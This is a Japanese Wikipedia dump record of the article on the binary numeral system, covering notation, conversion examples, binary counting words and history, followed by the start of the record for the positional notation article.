1936-1937年の中嶋章と榛沢正男による「継電器回路に於ける単部分路の等価変換の理論」、1937年のクロード・シャノンによる "A Symbolic Analysis of Relay and Switching Circuits" により相次いで、リレーのようなスイッチング素子による回路(ディジタル回路)の設計がブール代数によって行えることが示され、1940年代に始まり今日まで続くコンピュータの理論の基礎のひとつとなっている。 | [
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"tag": "p",
"text": "十進法など一般の位取り記数法と同様に、二進法においても小数部が有限の長さとなる数は一部の有理数に限られ、また円周率のような無理数を厳密に表すことはできない。二進法の場合、有理数を表す既約分数について、分母が2の冪ならば有限小数として書けるが、そうでないならば有限小数としては書けない。例えば十進法では 1/5 を有限小数 0.2 で表せるが、二進法では循環小数 0.00112 = 0.00110011...2 で表さなければならない。",
"title": "記数法"
},
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"paragraph_id": 6,
"tag": "p",
"text": "電子式コンピュータの電子回路などのデジタル回路(デジタル論理回路)、磁気ディスク等の記憶メディアでは、電圧の高低、磁極の N/S など、物理現象を二状態のみに縮退して扱う(離散化などと言う)ので、それに、真と偽の2つの値(2値の真理値)のみを使用する二値論理(しばしば、電子的には H と L、論理的には T と F という記号が使われる)をマッピングする。更にそこで数値を扱うには、それに「0 と 1」の二進法をマッピングするのが最適である。",
"title": "デジタル機器での使用"
},
{
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"tag": "p",
"text": "多くの応用で見られるように桁数が有限の場合は、数学的に言うなら「有理数の部分集合」が表現されているわけであるが、通常は「有限精度の実数」が表現されていると解釈される。このため、コンピュータやデジタル機器は二進数が使用される。",
"title": "デジタル機器での使用"
},
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"text": "また、八進法や十六進法や三十二進法は同じく2の冪を底とするためしばしば利用される。",
"title": "デジタル機器での使用"
},
{
"paragraph_id": 9,
"tag": "p",
"text": "ビット列によって負の数の値を表すため広く用いられる方法の一つとして、2の補数表現がある。2の補数表現は、n 桁のビット列の最上位ビットの重みを +2 ではなく −2 とするものである。2の補数表現は、そのビットパターンが、加減(及び、乗)の演算において特別な処理が不要なものになる、という特長を持つ。ただし、溢れ(オーバーフロー)の扱いが違ってくる(これは、例えばx86プロセッサにおける、キャリーフラグとオーバフローフラグの違いのことである(ステータスレジスタ#キャリーとオーバーフローを参照))。",
"title": "デジタル機器での使用"
},
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"text": "「十進法から二進法への変換方法」などといったものを考える必要はない。どちらも数の「表現法」に過ぎないのだから、単に「表現法 → 数 → 表現法」といったようにして変換すれば良いのである。",
"title": "他のN進法から二進法への変換方法"
},
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"text": "正の整数 m を十進法から二進法に変換するのは次のようにする。",
"title": "他のN進法から二進法への変換方法"
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"text": "余りを求めた順の逆に並べると、それが二進法に変換された結果になる。",
"title": "他のN進法から二進法への変換方法"
},
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"text": "例:192を二進法に変換する。",
"title": "他のN進法から二進法への変換方法"
},
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"text": "よって 19210 = 110000002 である。",
"title": "他のN進法から二進法への変換方法"
},
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"text": "正で 1 未満 (0 < m < 1) である数 m を十進法から二進法に変換するのは次のようにする。",
"title": "他のN進法から二進法への変換方法"
},
{
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"text": "計算の例1: 1/3 を二進法に変換する。",
"title": "他のN進法から二進法への変換方法"
},
{
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"text": "ここで「処理」の部分の最後「 1 3 × 2 = 2 3 < 1 {\\displaystyle {\\begin{matrix}{\\frac {1}{3}}\\times 2={\\frac {2}{3}}<1\\end{matrix}}} 」はそれ以前に出てきた式である。このため、これ以上続けても同じ式の繰り返しで永久に終わらないことがわかる。すなわち小数部の「01」が循環することがわかるので終了する。",
"title": "他のN進法から二進法への変換方法"
},
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"text": "よって1/310=0.010101...2=0.012",
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},
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"text": "(なお、アンダーバーの部分(01)は無限に繰り返しという意味)",
"title": "他のN進法から二進法への変換方法"
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"text": "計算の例 2: 十進法での 0.1 を二進法に変換する。",
"title": "他のN進法から二進法への変換方法"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "ここで「処理」の部分の最後「0.4×2 = 0.8 < 1」はそれ以前に出てきた式である。このため、これ以上続けても同じ式の繰り返しで永久に終わらないことがわかる。すなわち小数部の「0011」が循環することがわかるので終了する。",
"title": "他のN進法から二進法への変換方法"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "よって 0.110 = 0.0001100110011...2 = 0.000112 である。",
"title": "他のN進法から二進法への変換方法"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "二進命数法とは、2 を底とする命数法である。 通常、二進法の数詞を持つとされるものは二つ組で数える体系であり、乗算が含まれない。以下にパプアニューギニアの南キワイ語 (Southern Kiwai) およびシッサノ語 (Sissano) の数詞を示す。",
"title": "命数法"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "現代日本における万進、あるいは十二進法体系であるダース・グロスなどのように、2倍ごとに新しい単位が命名される体系は、自然言語では、パプアニューギニアのメルパ語 (Melpa) でのみ知られている。",
"title": "命数法"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "中国には古くから易の八卦や六十四卦があり、それぞれ 3 ビットと 6 ビットに相当している。易経の六十四卦の配列は対応する整数の順になっていて、それらを 1→2→4→8→16→32→64 と進展させる「加一倍の法」を11世紀の儒学者邵雍が考案した。ただし、彼らがそれを整数(ないし、数)に対応するとして理解していたという証拠はない。その配列はそれぞれが二種類の値をとる要素の 6 タプルを辞書式順序に並べたものと見ることもできる。",
"title": "歴史"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "インドの学者ピンガラ (Pingala, 紀元前200年頃) は韻律を数学的に表現する方法を考案し、それが現在知られている最古の二進法の記述の一つとされている。",
"title": "歴史"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "同様の二進法的組合せの使用は、アフリカのヨルバ人が行っていた占い Ifá にもあり、中世ヨーロッパやアフリカのジオマンシーにも見られる。2 を底とする体系はサハラ以南のアフリカでジオマンシーに長く使われていた。",
"title": "歴史"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "1605年、フランシス・ベーコンはアルファベットの文字を2種の記号の列で表す体系を論じ、任意の無作為なテキストで微かに判別可能なフォントの変化に符号化できるとした。一般理論として彼が指摘した重要な点は、同じ方法をあらゆる物に適用できるという点であり、「2種類の異なる状態をそれらの物で表現できればよく、鐘、トランペット、光、松明、マスケット銃など同様の性質があればどんなものでもよい」とした。これをベーコンの暗号(英語版)と呼ぶ。",
"title": "歴史"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "数学的に二進法を確立したのは17世紀のゴットフリート・ライプニッツで、\"Explication de l'Arithmétique Binaire\" という論文も発表している。ライプニッツは現代の二進法と同じく、1 と 0 を使って二進法を表した。ライプニッツは中国愛好家でもあり、後に「易経」を知って、その八卦に 000 から 111 を対応させ、彼の賞賛してきた中国の哲学的数学の偉大な成果の証拠だとした。",
"title": "歴史"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "1800年代中頃、イギリスの数学者ジョージ・ブールがブール代数(ブール論理)により、二進的な数(ここで言う「数」は、数学的な広義の意味であり、普通の二進法の対象である、数値という意味ではない)の代数による命題論理の形式化を示した。",
"title": "歴史"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "1936-1937年の中嶋章と榛沢正男による「継電器回路に於ける単部分路の等価変換の理論」、1937年のクロード・シャノンによる \"A Symbolic Analysis of Relay and Switching Circuits\" により相次いで、リレーのようなスイッチング素子による回路(ディジタル回路)の設計がブール代数によって行えることが示され、1940年代に始まり今日まで続くコンピュータの理論の基礎のひとつとなっている。",
"title": "歴史"
}
]
| 二進法(にしんほう、とは、底を2とする位取り記数法および命数法である。二進法によって表された数を二進数(にしんすう、と呼ぶ。二進法において、位は順に底2の冪ごとに取り、位の値は 0 または 1 を取る。 | {{Redirect|2進数|有理数を含む2進数|p進数}}
{{読み仮名|'''二進法'''|にしんほう|{{lang-en-short|binary numeral system, base-2 numeral system}}}}とは、底を[[2]]とする[[位取り記数法]]および[[命数法]]である。二進法によって表された数を{{読み仮名|'''二進数'''|にしんすう|{{lang-en-short|binary number}}}}と呼ぶ。二進法において、位は順に底[[2の冪]]({{math2|…, {{sfrac|4}}, {{sfrac|2}}, 1, 2, 4, …}})ごとに取り、位の値は 0 または 1 を取る(例:[[十進法|十進数]]の {{math2|1=7 (= 4 + 2 + 1)}} は二進法で {{math|111}}、{{math2|1=1.75 (= 1 + 0.5 + 0.25)}} は {{math|1.11}} と表される)。
== 記数法 ==
{{see also|位取り記数法}}
[[ファイル:Binario.svg|サムネイル|二進法で表された数]]
[[2|二]]を底とする[[位取り記数法]]を'''二進記数法'''または単に二進法と呼ぶ。二進法による数の表示は、一の位を {{math2|1=''k'' = 0}} とし添字 {{mvar|k}} で位の位置を表し、位の値を {{math2|1=''d''{{sub|''k''}} ∈ {{mset|0, 1}}}} で表せば、以下のように書ける:
: <math display="block">
d_{n-1} \cdots d_1 d_0
.
d_{-1} \cdots
\,.
</math>
これは以下の[[総和]]の略記と見なせる:
: <math display="block">
\sum_k^{n-1} d_k 2^k
= d_{n-1}2^{n-1}
+ \cdots
+ 2d_1
+ d_0
+ \frac{d_{-1}}{2}
+ \dotsm {} \,.
</math>
例えば十進法における {{math|21.25}} は二進法において、
: <math display="block">
10101.01_2
= 16 + 4 + 1 + \frac{1}{4}
= 21.25
</math>
と表される(添字の 2 は二進表記であることを示す)。負の数は一般的な記数法と同じく、負号をつけて表す(例:{{math|−10101.01{{sub|2}}}})。
十進法など一般の位取り記数法と同様に、二進法においても[[小数]]部が有限の長さとなる数は一部の[[有理数]]に限られ、また[[円周率]]のような[[無理数]]を厳密に表すことはできない。二進法の場合、有理数を表す既約分数について、分母が2の冪ならば有限小数として書けるが、そうでないならば有限小数としては書けない。例えば十進法では {{math2|1={{sfrac|5}}}} を有限小数 {{math|0.2}} で表せるが、二進法では[[循環小数]] {{math2|1=0.{{overline|0011}}{{sub|2}} = 0.00110011…{{sub|2}}}} で表さなければならない。<!--
{| class="wikitable" style="text-align:right; line-height:1.3em;"
|+ 二進法における足し算
! + || 0 || 1
|-
! style="width:1.3em" | 0
| style="width:1.3em" | 0 || style="width:1.3em" | 1
|-
! 1
| 1 || 10
|}
-->
== デジタル機器での使用 ==
{{See also|コンピュータの数値表現}}
電子式[[コンピュータ]]の[[電子回路]]などの[[デジタル回路]](デジタル[[論理回路]])、[[磁気ディスク]]等の記憶メディアでは、[[電圧]]の高低、[[磁極]]の N/S など、[[物理学|物理]]現象を二状態のみに縮退して扱う(離散化などと言う<ref group="注">量子化とも言うが、量子物理におけるいわゆる量子のような意味(重ね合わせ状態など)ではない。</ref>)ので、それに、真と偽の2つの値(2値の[[真理値]])のみを使用する二値論理(しばしば、電子的には [[H]] と [[L]]、論理的には [[T]] と [[F]] という記号が使われる)をマッピングする。更にそこで数値を扱うには、それに「[[0]] と [[1]]」の二進法をマッピングするのが最適である。
多くの応用で見られるように[[桁]]数が有限の場合は、数学的に言うなら「[[有理数]]の部分集合」が表現されているわけであるが、通常は「有限精度の実数」が表現されていると解釈される。このため、コンピュータやデジタル機器は二進数が使用される。
また、[[八進法]]や[[十六進法]]や[[三十二進法]]は同じく2の冪を底とするためしばしば利用される。
=== 負数の扱い ===
{{See also|符号付数値表現}}
[[ビット]]列によって負の数の値を表すため広く用いられる方法の一つとして、[[2の補数]]表現がある。2の補数表現は、{{mvar|n}} 桁のビット列の最上位ビットの重みを {{math|+2<sup>''n''−1</sup>}} ではなく {{math|−2<sup>''n''−1</sup>}} とするものである。2の補数表現は、そのビットパターンが、加減(及び、乗)の演算において特別な処理が不要なものになる、という特長を持つ。ただし、溢れ(オーバーフロー)の扱いが違ってくる(これは、例えばx86プロセッサにおける、キャリーフラグとオーバフローフラグの違いのことである([[ステータスレジスタ#キャリーとオーバーフロー]]を参照))。
== 他のN進法から二進法への変換方法 ==
「[[十進法]]から二進法への変換方法」などといったものを考える必要はない。どちらも'''数の「表現法」'''に過ぎないのだから、単に「表現法 → 数 → 表現法」といったようにして変換すれば良いのである。
=== 正の整数 ===
正の整数 m を十進法から二進法に変換するのは次のようにする。
# m を x に代入する。
# x を 2 で割って、余りを求める。
# x/2 の商を x に代入する。
# 2. に戻る。x = 0 であれば終了。
余りを求めた順の逆に並べると、それが二進法に変換された結果になる。
例:'''[[192]]'''を二進法に変換する。
2<span style="text-decoration:underline;">)192</span> 192=2<sup>0</sup>×192<br />
2<span style="text-decoration:underline;">) 96</span>…'''0''' 192=2<sup>1</sup>× 96+2<sup>0</sup>×0<br />
2<span style="text-decoration:underline;">) 48</span>…'''0''' 192=2<sup>2</sup>× 48+2<sup>1</sup>×0+2<sup>0</sup>×0<br />
2<span style="text-decoration:underline;">) 24</span>…'''0''' 192=2<sup>3</sup>× 24+2<sup>2</sup>×0+2<sup>1</sup>×0+2<sup>0</sup>×0<br />
2<span style="text-decoration:underline;">) 12</span>…'''0''' 192=2<sup>4</sup>× 12+2<sup>3</sup>×0+2<sup>2</sup>×0+2<sup>1</sup>×0+2<sup>0</sup>×0<br />
2<span style="text-decoration:underline;">) 6</span>…'''0''' 192=2<sup>5</sup>× 6+2<sup>4</sup>×0+2<sup>3</sup>×0+2<sup>2</sup>×0+2<sup>1</sup>×0+2<sup>0</sup>×0<br />
2<span style="text-decoration:underline;">) 3</span>…'''0''' 192=2<sup>6</sup>× 3+2<sup>5</sup>×0+2<sup>4</sup>×0+2<sup>3</sup>×0+2<sup>2</sup>×0+2<sup>1</sup>×0+2<sup>0</sup>×0<br />
2<span style="text-decoration:underline;">) 1</span>…'''1''' 192=2<sup>7</sup>× 1+2<sup>6</sup>×1+2<sup>5</sup>×0+2<sup>4</sup>×0+2<sup>3</sup>×0+2<sup>2</sup>×0+2<sup>1</sup>×0+2<sup>0</sup>×0<br />
0…'''1'''<br />
よって 192<sub>10</sub> = 11000000<sub>2</sub> である。
=== 正で 1 未満の数 ===
正で 1 未満 (0 < m < 1) である数 m を十進法から二進法に変換するのは次のようにする。
# 1 を n に、m を x に代入する。
# 2x < 1 ならば、小数点以下第 n 位は 0 になる。2x > 1 ならば、小数点以下第 n 位は 1 になる。
# 2x = 1 ならば終了。
# 2x > 1 ならば 2x - 1 を x に代入する。2x < 1 ならば 2x を x に代入する。
# n + 1 を n に代入する。
# 小数点以下の桁数が必要な桁数まで求まっているか、循環小数となったら終了する。
# 2. へ戻る。
計算の例1: 1/3 を二進法に変換する。
:{| class="wikitable"
!処理!!(途中)結果
|-
|<math>\begin{matrix} \frac{1}{3} \end{matrix}</math>||0.
|-
|<math>\begin{matrix} \frac{1}{3} \times 2 = \frac{2}{3} < 1 \end{matrix}</math>||0.0
|-
|<math>\begin{matrix} \frac{2}{3} \times 2 = 1\frac{1}{3} \ge 1 \end{matrix}</math>||0.01
|-
|<math>\begin{matrix} \frac{1}{3} \times 2 = \frac{2}{3} < 1 \end{matrix}</math>||0.010
|}
ここで「処理」の部分の最後「<math>\begin{matrix} \frac{1}{3} \times 2 = \frac{2}{3} < 1 \end{matrix}</math>」はそれ以前に出てきた式である。このため、これ以上続けても同じ式の繰り返しで永久に終わらないことがわかる。すなわち小数部の「01」が循環することがわかるので終了する。
よって1/3<sub>10</sub>=0.010101…<sub>2</sub>=0.<span style="text-decoration:underline;">01</span><sub>2</sub>
(なお、アンダーバーの部分(<span style="text-decoration:underline;">01</span>)は無限に繰り返しという意味)
計算の例 2: 十進法での 0.1 を二進法に変換する。
:{| class="wikitable"
!処理!!(途中)結果
|-
|'''0.1'''||0.
|-
|0.1×2='''0.2'''<1||0.0
|-
|0.2×2='''0.4'''<1||0.00
|-
|0.4×2='''0.8'''<1||0.000
|-
|0.8×2='''1.6'''≥1||0.0001
|-
|0.6×2='''1.2'''≥1||0.00011
|-
|0.2×2='''0.4'''<1||0.000110
|-
|0.4×2='''0.8'''<1||0.0001100
|}
ここで「処理」の部分の最後「0.4×2 = '''0.8''' < 1」はそれ以前に出てきた式である。このため、これ以上続けても同じ式の繰り返しで永久に終わらないことがわかる。すなわち小数部の「0011」が循環することがわかるので終了する。
よって 0.1<sub>10</sub> = 0.0001100110011…<sub>2</sub> = 0.0<span style="text-decoration:underline;">0011</span><sub>2</sub> である。
== 命数法 ==
'''二進命数法'''とは、2 を底とする[[命数法]]である。
通常、二進法の[[数詞]]を持つとされるものは二つ組で数える体系であり、[[乗算]]が含まれない。以下にパプアニューギニアの[[南キワイ語]]<ref>{{Citation|contribution=Kiwai, Southern|title=Ethnologue: Languages of the World|edition=15|url=http://www.ethnologue.com/show_language.asp?code=kjd|editor-last=Gordon|editor-first=Raymond G., Jr.|year=2005|accessdate=2008-03-12}}</ref> (Southern Kiwai) およびシッサノ語<ref>{{Citation|contribution=Sissano|title=Ethnologue: Languages of the World|edition=15|url=http://www.ethnologue.com/show_language.asp?code=sso|editor-last=Gordon|editor-first=Raymond G., Jr.|year=2005|accessdate=2008-03-12}}</ref> (Sissano) の数詞を示す<ref name="Lean" />。
{| class="wikitable" border="1" style="text-align:center"
! 十進 !! 二進 !! 南キワイ語 !! [[シッサノ語]]
|-
! 1
| 1 || neis || puntanen
|-
! 2
| 10 || netewa || eltin
|-
! 3
| 11 || netewa nao || eltin puntanen
|-
! 4
| 100 || netewa netewa || eltin eltin
|-
! 5
| 101 || netewa netewa nao || eltin eltin puntanen
|}
現代日本における[[命数法|万進]]、あるいは[[十二進法]]体系である[[ダース]]・グロスなどのように、2倍ごとに新しい単位が命名される体系は、[[自然言語]]では、[[パプアニューギニア]]の[[メルパ語]]<ref>{{Citation|title=Ethnologue: Languages of the World|year=2005|url=http://www.ethnologue.com/show_language.asp?code=med|contribution=Melpa|edition=15|editor-last=Gordon|editor-first=Raymond G., Jr.|accessdate=2008-03-12}}</ref> (Melpa) でのみ知られている<ref name="Lean">{{Cite book|last=Lean|author=|first=Glendon Angove|title=Counting Systems of Papua New Guinea and Oceania|url=http://www.uog.ac.pg/glec/thesis/thesis.htm|date=|year=1992|publisher=Ph.D. thesis, Papua New Guinea University of Technology|chapter=TALLIES AND 2-CYCLE SYSTEMS|chapterurl=https://web.archive.org/web/20160304132322/http://www.uog.ac.pg/glec/thesis/ch2web/ch2.htm|archiveurl=https://web.archive.org/web/20070905170848/http://www.uog.ac.pg/glec/thesis/thesis.htm|archivedate=2007年9月5日|deadlinkdate=2017年9月}}</ref>。
{| class="wikitable" border="1" style="text-align:center"
! 十進 !! 二進 !! [[メルパ語]]
|-
! 1
| 1
| tenta
|-
! 2
| 10
| ralg
|-
! 3
| 11
| raltika
|-
! 4
| 100
| timbakaka
|-
! 5
| 101
| timbakaka pamb ti
|-
! 6
| 110
| timbakaka pamb ralg
|-
! 7
| 111
| timbakakagul raltika
|-
! 8
| 1000
| engaka
|-
! 9
| 1001
| engaka pamb ti
|-
! 10
| 1010
| engaka pamb ralg pip
|}
== 歴史 ==
[[ファイル:Leibniz bagua.png|thumb|ライプニッツによる八卦と二進法の比較<ref name="leibniz10">ライプニッツ『ライプニッツ著作集 10 中国学・地質学・普遍学』下村寅太郎ほか 監修、工作舎、1991年、p12。</ref>]]
[[中国]]には古くから[[易]]の[[八卦]]や[[六十四卦]]があり、それぞれ 3 ビットと 6 ビットに相当している。[[易経]]の六十四卦の配列は対応する整数の順になっていて、それらを 1→2→4→8→16→32→64 と進展させる「加一倍の法」を[[11世紀]]の儒学者[[邵雍]]が考案した。ただし、彼らがそれを[[整数]](ないし、数)に対応するとして理解していたという証拠はない。その配列はそれぞれが二種類の値をとる要素の 6 [[タプル]]を[[辞書式順序]]に並べたものと見ることもできる。
[[インド]]の学者[[ピンガラ]] ([[:en:Pingala|Pingala]], 紀元前200年頃) は[[韻律 (韻文)|韻律]]を数学的に表現する方法を考案し、それが現在知られている最古の二進法の記述の一つとされている<ref>{{citation |last1=Sanchez |first1=Julio |last2=Canton |first2=Maria P. |title=Microcontroller programming : the microchip PIC |origyear= |year=2007 |month= |publisher=CRC Press |location=Boca Raton, Florida |isbn=0-8493-7189-9|page=37}}</ref><ref>W. S. Anglin and J. Lambek, ''The Heritage of Thales'', Springer, 1995, ISBN 0-387-94544-X</ref>。
同様の二進法的組合せの使用は、アフリカの[[ヨルバ人]]が行っていた占い [[:en:Ifá|Ifá]] にもあり、[[中世]]ヨーロッパやアフリカの[[ジオマンシー]]にも見られる。2 を底とする体系はサハラ以南のアフリカでジオマンシーに長く使われていた。
1605年、[[フランシス・ベーコン (哲学者)|フランシス・ベーコン]]はアルファベットの文字を2種の記号の列で表す体系を論じ、任意の無作為なテキストで微かに判別可能なフォントの変化に符号化できるとした。一般理論として彼が指摘した重要な点は、同じ方法をあらゆる物に適用できるという点であり、「2種類の異なる状態をそれらの物で表現できればよく、[[鐘]]、[[トランペット]]、[[光]]、[[松明]]、[[マスケット銃]]など同様の性質があればどんなものでもよい」とした<ref>{{citation2 |last=Bacon |first=Francis |authorlink=フランシス・ベーコン (哲学者) |title=The Advancement of Learning |url= http://home.hiwaay.net/~paul/bacon/advancement/book6ch1.html |date=1605 |volume=6 |publisher= |location=London |language=en|at=Chapter 1}}</ref>。これを{{仮リンク|ベーコンの暗号|en|Bacon code}}と呼ぶ。
数学的に二進法を確立したのは[[17世紀]]の[[ゴットフリート・ライプニッツ]]で、"Explication de l'Arithmétique Binaire" という論文も発表している。ライプニッツは現代の二進法と同じく、1 と 0 を使って二進法を表した。ライプニッツは[[シノフィリア|中国愛好家]]でもあり、後に「易経」を知って、その八卦に 000 から 111 を対応させ、彼の賞賛してきた中国の哲学的数学の偉大な成果の証拠だとした<ref name="leibniz10" />。
[[1800年代]]中頃、[[イギリス]]の数学者[[ジョージ・ブール]]が[[ブール代数]]([[ブール論理]])により、二進的な数(ここで言う「数」は、数学的な広義の意味であり、普通の二進法の対象である、数値という意味ではない)の代数による[[命題論理]]の形式化を示した。
[[1936年|1936]]-[[1937年]]の中嶋章と榛沢正男による「[[継電器]]回路に於ける単部分路の等価変換の理論」、1937年の[[クロード・シャノン]]による "A Symbolic Analysis of Relay and Switching Circuits" により相次いで、リレーのようなスイッチング素子による回路([[ディジタル回路]])の設計がブール代数によって行えることが示され、[[1940年代]]に始まり今日まで続くコンピュータの理論の基礎のひとつとなっている。
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1937年[[11月]]、[[ベル研究所]]に勤務していた[[ジョージ・スティビッツ]]がリレーを使った計算機 "Model K" を完成させた。これは二進数の加算ができる装置である。ベル研究所はこれを受け、スティビッツを中心とした正式な研究プログラムを[[1938年]]末に開始した。[[1940年]][[1月8日]]に完成した "Complex Number Computer" は[[複素数]]の計算が可能だった。1940年[[9月11日]]に[[ダートマス大学]]で開催された[[アメリカ数学会]]の会議でデモンストレーションが行われ、スティビッツは[[テレタイプ端末]]でコマンドを打ち込んで、電話回線経由で遠方にある計算機を操作して見せた。これが電話回線経由で遠隔から計算機を使った世界初の事例である。この会議に出席しデモンストレーションを目にした人物として、[[ジョン・フォン・ノイマン]]、[[ジョン・モークリー]]、[[ノーバート・ウィーナー]]らがおり、彼らはその経験について文章を残している。
↑この記述は二進法の歴史としては瑣末に過ぎるし、コンピュータ史として興味深いかもしれないがやはり瑣末に近いと思う(「ディジタルで計算する機械」は同時代には既にいくつかあった)。最後のくだりから見ると「ENIACはパクリだ」とか言いたいがためだけの記述にも見える。
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== 脚注 ==
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=== 注釈 ===
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=== 出典 ===
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== 関連項目 ==
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* [[位取り記数法]]
* [[コンピュータの数値表現]]
* [[2の冪]]
* [[2進接頭辞]]
* [[二進対数]]
* [[二進指数え法]]
* [[二進化十進表現]]
* [[カウンタ (電子回路)]]
** [[グレイコード]]
* [[除算 (デジタル)]]
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[[Category:数の表現]]
[[Category:コンピュータの算術]]
[[Category:数学に関する記事]]
[[Category:位取り記数法]]
[[Category:2 (数字)]] | 2003-04-15T06:21:22Z | 2023-12-07T07:20:03Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E4%BA%8C%E9%80%B2%E6%B3%95 |
6,753 | 位取り記数法 | 位取り記数法(、英: positional notation)とは、いくつかの数字を並べて数を表す方法である(例:123、3.14、3;8,24)。
数字ないし決まった文字数の数字列の置かれた位置を位()または桁()と呼び、数字の位を決めることを位取りという。
一つの桁を N 種の数字列の組み合わせで表す位取り記数法をN 進位取り記数法()あるいは単に N 進法()と呼ぶ。また、数 N を基数(、英: radix)ないし底(、英: base)と呼ぶ。 例えば、一般的に用いられる 0 から 9 までのアラビア数字による記数法は十進法にあたる。十進法でない例として、時刻や角度を表す単位の分や秒は六十進法が使われている。またコンピュータの分野においては数値表現に二進法とその派生である八進法や十六進法がしばしば用いられる。
位取り記数法は古代中国に由来する。中国では紀元前14世紀の商時代にすでに十進法が用いられており、紀元前4世紀にはゼロを空位として記述する位取り記数法を用いていた。対してヨーロッパにおける最古の十進法が記述された文書は976年のスペインの手稿本である。
本項では N が 2 以上の整数の場合を扱う。それ以外の場合については広義の記数法の記事を参照のこと。また後述するp 進数の概念とは(関連があるものの)別概念であるので注意が必要である。
2 以上の整数 N を底(基数)とする位取り記数法(N 進法)において、それぞれの位の値は 0 から N − 1 までの N 個の非負の整数に対応した数字で表される(例:1234567890、一二三四五六七八九〇)。 非負の数は位取り記数法によって、以下のように表される:
ここで dk ∈ {0, ... , N − 1} は位の値を表し、添字 k はここでは Nの位の冪指数を表す。添字 k が 0 以上の位の値の並びは整数を表し整数部(英: integer part)と呼ばれる。添字 k が −1 以下の位の値の並びは小数部(英: fractional part)と呼ばれる。整数部と小数部は小数点(英: radix point)によって区切られる(例:123.456)。もし位取り記数法で表される数が整数ならば、小数点は書かなくともよい(例:123)。m は整数部の桁数を表す。小数部について、k = −1, −2 , ... の位はそれぞれ順に小数第一位、第二位、......と呼ばれる。
また負の数は負符号(−)を数字列の前方につけて表す(例:−123.456、−123):
位取り記数法による数の表示は、底の冪 N とその位の値 dk の積の和の略記と見なせる:
ここで右辺の和の記号は以下を表す:
例えば、十進法における 123.45 は、
と展開できる。
小数部の位の値は有限個の場合もあれば、そうでない場合もある。N 進法で循環小数となるような有理数や、無理数は有限の桁数では表せないため、末尾に省略記号(...)を付けて有限桁でないことを示す(例:円周率 π の十進展開 π = 3.14159...)。
循環小数について、以下のように、循環節(英: repetend)を上線などによって示す記法も用いられる(以下では上線を用いる):
ここで λ は循環節の長さを表し、r は循環節が始まる位を示す。例えば十進法において 1/14 は 0.0714285 と表される。
慣習的に、特に断りのない限り、位取り記数法で示された数は十進数と解釈される。異なる底を用いていることを示すため、以下のように底を併記することがある:
または底を括弧で囲わず、
あるいは数を括弧書きして、
上記の記法において、底の数自体は十進法で表記される。例えば、10(2) は二進数であり、十進数 2 に等しい数を表す。また 100(16) 十六進数であり、十進数 256 に等しい数を表す。
その他の記法として、コンピュータ・プログラミングにおいて、プログラミング言語によっては、定まった数を表す構文(リテラル)が用意されている。例えばC言語やC++において、123 は十進法、0x012abc および 0X345DEF は十六進法、0b0101 および 0B1010 は二進法、0123 は八進法の定数をそれぞれ表し、底の区別は先頭の記号によってなされる(0 以外の数字で始まるなら十進数、0x または 0X で始まるなら十六進数、0b または 0B で始まるなら二進数、それ以外は八進数と解釈される)。JavaScriptなどでは八進数についてより厳格に、0o または 0O で始まる文法を採用している。より柔軟な記法として、2から36までの底について、Smalltalkでは base "r" value(例:16rFFEF)、Erlangでは base "#" value(例:16#ffef)という構文を採用している。base は底を表す十進整数であり、value はその進数法での数値を表す英数字の列である。
十進法は最も身近な位取り記数法である。十進法では、十個の数字を用い、一桁にひとつの数字を容れて必要な桁数分を並べて数値を表す。
アラビア数字なら
の十個であり、 漢数字なら
の十個である。以下、アラビア数字を例に説明するが、漢数字の場合も同様である。
十進法ではこれらの数字を列べる事で数を表現する。 例えば、312.02は、
3 × 10 2 + 1 × 10 1 + 2 × 10 0 + 0 × 1 10 1 + 2 × 1 10 2 {\displaystyle 3\times 10^{2}+1\times 10^{1}+2\times 10^{0}+0\times {\frac {1}{10^{1}}}+2\times {\frac {1}{10^{2}}}}
を表す。
例えば五進法をアラビア数字で表した場合、使う数字は
の五種類の記号であり、五進法における431.02は、
4 × 5 2 + 3 × 5 1 + 1 × 5 0 + 0 × 1 5 1 + 2 × 1 5 2 {\displaystyle 4\times 5^{2}+3\times 5^{1}+1\times 5^{0}+0\times {\frac {1}{5^{1}}}+2\times {\frac {1}{5^{2}}}}
を表し、これは十進法の116.08にあたる。
注意すべき点は、同じ「431.02」でも五進法のものと十進法のものでは値が異なる。このため、位取り記数法の話をするときには、常に何進法の話であるのかを明示する必要がある。(後述)
十二進法、十六進法、二十進法のように、N が十より大きい場合は用いる数字は、アラビア数字だけでは足りなくなる。そこで、十以上の数を表記する「数字」として、ラテン文字のアルファベットの大文字を用いる事が多い。
例えば十六進法であれば、「数字」として
を用い、A、B、C、D、E、Fはそれぞれ十進法の自然数10、11、12、13、14、15に対応する。
従って例えば2F3.A7は
2 × 16 2 + 15 × 16 1 + 3 + 10 × 1 16 1 + 7 × 1 16 2 {\displaystyle 2\times 16^{2}+15\times 16^{1}+3+10\times {\frac {1}{16^{1}}}+7\times {\frac {1}{16^{2}}}}
を表し、これは十進法の755.652344にあたる。
有理数を小数で表す際、有限小数になる場合と循環小数になる場合がある。本節では底 N の位取り記数法で有理数が有限小数として表される(分子が分母で「割り切れる」)条件について述べる。
一般に、既約分数 x/y が底 N の位取り記数法において有限小数として表されるには、分母 y が底 N が持つ素因数 p 1 , ... , p m {\displaystyle p_{1},\,\dots ,\,p_{m}} の積 y = p 1 k 1 ⋯ p m k m {\displaystyle y=p_{1}^{k_{1}}{}\dotsb {}p_{m}^{k_{m}}} (ただし k は 0 以上の整数)になっていなければならない(さもなくば N の冪を掛けて整数にならない)。この条件は分子によらないため、有限小数で表せるかは単位分数で表される有理数に限って調べればよい。
例えば十進法では N = 10 = 2⋅5 のため、ある有理数を既約分数で表した際、分母が 2 と 5 以外に素因数を持たない場合には有限小数となり、それ以外は循環小数となる。
N 進有限小数が M 進有限小数でもあるには、その有限小数を既約分数で現した際の分母が2つの底 N, M の冪のいずれの約数にもなる必要がある。特に、すべての N 進有限小数が M 進有限小数であるには M の素因数がすべて N の素因数に含まれていなければならない。
